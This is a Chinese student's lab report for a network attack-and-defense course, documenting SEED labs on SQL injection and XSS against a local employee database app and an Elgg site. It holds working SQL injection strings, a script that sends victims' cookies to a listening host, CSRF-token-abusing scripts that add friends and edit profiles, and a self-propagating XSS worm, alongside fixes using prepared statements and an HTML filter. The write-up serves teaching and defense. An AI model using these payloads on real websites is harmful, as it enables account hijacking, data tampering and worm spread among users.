20232805 2023-2024 《网络攻防实践》第10周作业

实践十 Web应用程序安全攻防

1. 实践内容

1.1 SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在  三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

1.2 SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

2. 实践过程

2.1 SEED SQL注入攻击与防御实验

2.1.1 熟悉SQL语句

VMware导入Seed Ubuntu,注意这是对SeedLab官方的做了修改之后的虚拟机,直接套用seed官方虚拟机的话无法进行实验

进root权限之后启动MySQL mysql -u root -p

查看该数据库里都有什么库 show databases;

按照要求,要使用users库 use Users;

然后看User库里都有什么表,发现只有一个表 show tables;

然后看credential表里都有什么内容 select * from credential;

发现是个人信息,eid,薪水,生日,手机号等等

查看所有有关Alice的信息 select * from credential where Name='Alice';(注意英文引号)

2.1.2 对SELECT语句的SQL注入攻击

虚拟机浏览器登录www.SEEDLabSQLInjection.com

分析页面源码,注意这一行

<form action="unsafe_home.php" method="get">

页面get访问unsafe_home.php文件

在本地/var/www/SQLInjection/目录下找到unsafe_home.php文件

是个用户登录验证的脚本,用于SQL注入教育演示(开头几行注释)

该php脚本的内容交给GPT分析

这段代码是一个PHP脚本,用于处理一个网页上的用户登录验证,主要用于教育目的,展示SQL注入的问题。它的功能包括以下几个主要部分:

  1. 用户认证

    • 通过GET请求接收用户名和密码。
    • 用户名和密码被用来在数据库中查询匹配的用户记录。
  2. 数据库连接与查询

    • 连接到一个名为Users的数据库,使用用户名root和密码seedubuntu
    • 执行一个SQL查询,检查数据库中是否有与提供的用户名和密码匹配的记录。
    • 这里的密码处理方式是使用sha1哈希函数进行加密,但是sha1已经被认为是不安全的,容易受到破解。
  3. SQL注入漏洞

    • 代码中直接将用户输入拼接到SQL查询中,这是一个典型的SQL注入漏洞示例。攻击者可以通过修改usernamePassword字段的GET参数来注入恶意SQL代码。
    • 没有任何形式的用户输入验证或者预处理(如使用预处理语句或参数化查询),这使得应用容易受到SQL注入攻击。
  4. 用户界面的动态构建

    • 根据用户是否成功登录,显示不同的信息。如果登录成功(即数据库查询返回了用户数据),则显示用户的详细信息。
    • 如果是普通用户,则显示用户的个人信息;如果是管理员,则显示所有用户的信息。
    • 使用Bootstrap框架来美化界面。
  5. 会话管理

    • 如果用户登录成功,服务器端会启动一个会话并保存用户ID、名字和加密后的密码。
    • 提供了一个注销的功能,使用户可以安全退出。

主要是下图这段,SQL查询的构建

注意这句

WHERE name= '$input_uname' and Password='$hashed_pwd'";

在SQL下显示为

WHERE name= '$input_uname' and Password='$hashed_pwd'";

需要uname和密码对的上,但如果我们利用SQL的注释--或者#(该实验的数据库版本应该使用#),比如我们输入admin'#,则php脚本里的语句会被替换成

WHERE name= 'admin'#' and Password='$hashed_pwd'

#表示注释的开始,因此查询的其余部分(包括密码比较)将被忽略。如果数据库中存在名为admin的用户,这种注入会导致查询返回该用户的记录,从而绕过密码验证

下图的代码演示的SQL语句新一点,用--代替#进行演示,可以看到--后的语句被注释掉了

WHERE name= 'admin' --' and Password='$hashed_pwd'

SQL注入攻击成功

2.1.3 对update语句的SQL注入攻击

回到目录下,打开unsafe_edit_backend.php脚本,粗看是个用于更新用户信息的脚本

仍然让GPT分析

主要功能

  1. 会话管理

    • 脚本首先启动一个会话,从会话中获取用户的用户名($uname)、员工ID($eid)、以及用户ID($id)。
  2. 获取用户输入

    • 通过GET请求从表单或URL参数中接收用户的邮箱(Email)、昵称(NickName)、地址(Address)、密码(Password)和电话号码(PhoneNumber)。
  3. 数据库连接与更新操作

    • 连接到Users数据库,使用root用户和seedubuntu密码。
    • 根据用户ID和提供的数据执行更新操作。如果用户提供了新的密码,该密码将被哈希处理(使用sha1,虽然这种方式不够安全)并更新到数据库和会话中。
  4. 重定向

    • 更新完毕后,用户将被重定向到unsafe_home.php页面。

安全性问题

  1. SQL注入漏洞
    • 脚本在构建SQL更新语句时直接将用户输入拼接到SQL命令中,这导致了SQL注入的风险。例如,如果用户在昵称或地址字段中输入恶意的SQL片段,可能会修改SQL命令的行为或影响数据库安全。
  2. 不安全的密码处理
    • 使用sha1进行密码哈希处理已经不被认为是安全的。sha1容易受到破解攻击,推荐使用更强的哈希算法,如bcrypt

注意下图中这段

可以更新数据库

首先可以

更新所有用户的Nickname

只需要在输入新昵称的时候这样输入20232805hzc'#

原理同之前的

当然,原来的语句是这样的(密码为空时)

$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";

我们也可以这样注入

Admin123', email='', address='', PhoneNumber='' WHERE 'x'='x
这会让语句解析成

UPDATE credential SET nickname='Admin123', email='', address='', PhoneNumber='' WHERE 'x'='x';

'x'='x'肯定成立,故数据库里的所有记录都会被更新

更新指定用户的信息

',Salary='0' where Name='Alice';#

',直接结束前面填充的内容,后面根据where条件来更新salary

2.1.4 SQL对抗

首先说一下这些攻击的原理,使原有的SQL查询逻辑改变(#),或者添加额外的SQL命令(where =),来绕过认证或者修改数据

对抗/修复:

1.使用预处理语句和参数化查询

2.严格的输入验证

3.最小权限原则

4.定期安全审计和实时监控

针对1,本来是想演示的,但是本地还有几个safe前缀的文件,里面已经修改好了

safe_hame.php

 $sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= ? and Password= ?");

safe_edit_backend

$_SESSION['pwd']=$hashed_pwd;
    $sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
    $sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }else{
    // if passowrd field is empty.
    $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
    $sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);

修改之后的效果指定了操作指令和传入参数,防止参数被解释为SQL语句,就算输入的内容包含了SQL语句,数据库也只会把这些语句当作传入参数进行处理。

2.2 SEED XSS跨站脚本攻击实验(Elgg)

2.2.1 发布恶意消息,显示警报窗口

虚拟机浏览器进入www.xsslabelgg.com

用户名 Alice 密码 seedalice

右侧点击头像,然后edit profile

Brief description一栏填入下面代码,警报窗口,警报内容20232805hzc,都是JS的东西

alert()函数用于弹警告框

<script> alert('20232805hzc');</script>

2.2.2 cookies信息弹窗显示

Brief description一栏填入下面代码,document.cookie是JS的一个属性,存当前域的所有cookie

<script>alert(document.cookie);</script>

2.2.3 窃取受害者的cookies

查询本机IP,84.130(新安装未改动)

Brief description一栏填入下面代码,窃取cookie并发送到84.130的8080端口,并且是图像请求,就算失败了也看不出来什么,escape用于对获取的cookie进行编码,进行安全传输

<script>document.write('<img src=http://192.168.84.130:8080?c='+escape(document.cookie) + ' >');</script>

nc -l 8080 -v 监听8080端口来验证是否获取到受害者cookie

2.2.4 成为受害者的朋友

该小节之前在PC上操作,该小节开始在surface上操作

要先找到点击添加好友之后发送的数据包再进行后续操作

进入到body的主页之后查看网页源码,切换至network项,之后点击add friends,就会捕获到一条请求,如下

然后查看该请求的url

http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1715885910&__elgg_token=ggJlJof3dOBMvCR727VA_A

这是一个web请求,让GPT分析一下

  1. 基础URL

    • http://www.xsslabelgg.com/action/friends/add
    • 这部分指定了请求的目标网站(www.xsslabelgg.com)和具体的路径(/action/friends/add),表明这是一个向该站点发出的添加好友的请求。
  2. 查询参数

    • friend=45:这个参数指定了要添加的好友的ID号或用户名,这里的值“45”表明是向ID为45的用户发起好友请求。
    • __elgg_ts=1715885910:这是一个时间戳参数,通常用于防止请求的重放攻击。这里的值“1715885910”代表了请求发起时的具体时间。
    • __elgg_token=ggJlJof3dOBMvCR727VA_A:这是一个安全令牌(token),用于防止跨站请求伪造(CSRF)攻击。它确保请求是由用户的意图发起的,而不是由第三方网站恶意发起。

安全性考量

  • 时间戳(__elgg_ts令牌(__elgg_token 的使用是网络安全的良好实践,有助于确保Web请求的真实性和一次性,防止被恶意复用。
  • 时间戳和令牌通常在用户的会话期间生成,并在服务器端进行验证,以确认它们的有效性。

可能的风险

  • 如果这些参数(尤其是令牌)被截获,它们可能被用于执行未经授权的操作,例如在用户不知情的情况下添加好友。
  • 虽然时间戳和令牌的使用提供了基本安全措施,但它们的安全性也取决于如何生成和验证这些值。如果生成方式易于预测或验证不严格,那么安全性就可能受到威胁。

重点在于token

在自己(Alice)的About me填入如下代码,注意编辑的时候选择Html Edit,而不是visual

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

    var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 
    Ajax = new XMLHttpRequest();
    Ajax.open("GET", sendurl, true);
    Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

分析一下

  1. 初始化变量

    • Ajax: 用于存储 XMLHttpRequest 对象,通过该对象发起 HTTP 请求。
    • tstoken: 从页面的 JavaScript 全局对象 elgg.security.token 中获取时间戳(__elgg_ts)和令牌(__elgg_token),这通常用于防止 CSRF 攻击。
  2. 构造 URL

    • sendurl: 使用固定的好友 ID(这里是44),结合时间戳和令牌构造出一个用于添加好友的 URL。
  3. 配置和发送 Ajax 请求

    • 使用 XMLHttpRequest 对象的 open 方法以 GET 方式打开 sendurl 指定的 URL,true 参数表示请求为异步。
    • 设置请求头,包括 "Host" 和 "Content-Type",这些头信息用来指定请求的目标主机和内容类型。
    • 最后,通过 send() 方法发送请求。

之后登录Samy账号,Members里点进Alice主页

发现捕获到了自动向Alice发送了add friend请求的包,实验成功

2.2.5 修改受害者的信息

同上一小节,需要先知道修改信息会发送什么样的数据包,当前是Boby用户,点进Edit profile查看捕获到的包

切回Alice,把以下代码填入About me,仍然是HTML Edit模式

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>This had been changed by 20232805hzc.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

之后切回Boby,访问Alice主页,能捕获到edit包如下,实验成功

2.2.6 编写XSS蠕虫

把以下代码填入Alice的About me,以实现xss蠕虫

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>Hacked by 20232805hzc"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

代码分析

  1. 脚本标签和代码复制

    • headerTagtailTag 定义了一个新的 <script> 标签的开始和结束。
    • jsCode 获取当前脚本(ID为"worm")的内部代码。
    • wormCode 是整个脚本的 URL 编码版本,准备将其作为内容注入其他用户的页面。
  2. 构造恶意内容

    • elgg 全局对象获取当前登录用户的用户名 (userName) 和唯一标识符 (guid)。
    • 获取 CSRF 令牌 (token) 和时间戳 (ts),这些用于伪装请求,使之看起来是合法的。
    • 构造 content 变量,包含修改个人资料的所有表单字段。字段 description 被设置为包含恶意脚本的 HTML,当这个资料页被其他用户查看时,脚本将执行。
  3. 自动发送数据

    • sendurl 是处理个人资料编辑的服务器端脚本地址。
    • 判断当前用户是否是脚本的初始发布者(假定为用户ID 44),如果不是,则执行下一步。
    • 使用 XMLHttpRequest 发送一个 POST 请求到 sendurl,其中包含恶意更新的个人资料数据。

潜在影响

  • 传播:这个蠕虫脚本将自己复制到受影响用户的个人资料中,当其他用户查看这些资料时,脚本也会在他们的浏览器中执行。
  • 隐蔽性:脚本利用正常的 Web 功能(如编辑个人资料)在不引起用户注意的情况下执行,这增加了其传播的有效性。
  • 数据篡改:脚本自动更改用户资料,可能会导致数据的损坏或失真。

使用Boby访问Alice,再使用Samy访问Boby,分别抓包观察

Boby访问Alice

Samy访问Boby

Samy自己也被感染,抓到了edit包,成功实现了xss蠕虫

2.2.7 对抗XSS攻击

登录管理员账户 Admin seedelgg

在plugins里的HTMLawed项,点击一下Activate就会变成Deactivate

这个选项是个php库,用来自定义过滤和限制html内容的

虚拟机里做的修改效果是禁用所有不安全的脚本和样式(当然还有其他配置模式)

我们再去Alice主页,发现xss攻击代码被正常显示,且不再生效

3. 学习中遇到的问题及解决

show databases;一定记得语句末尾有个分号,sql的语句都需要加分号

seedubuntu虚拟机的sql版本较老,部分语句(例如注释)和新版本不一样

4. 学习感想和体会

实验2里的部分很多都是js的知识内容

2.2.4及之后的实验,有的人在visual edit模式下就“成功”了,是真有意思啊

5. 参考资料

- [ChatGPT 4](chat.openai.com)

  • 16
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值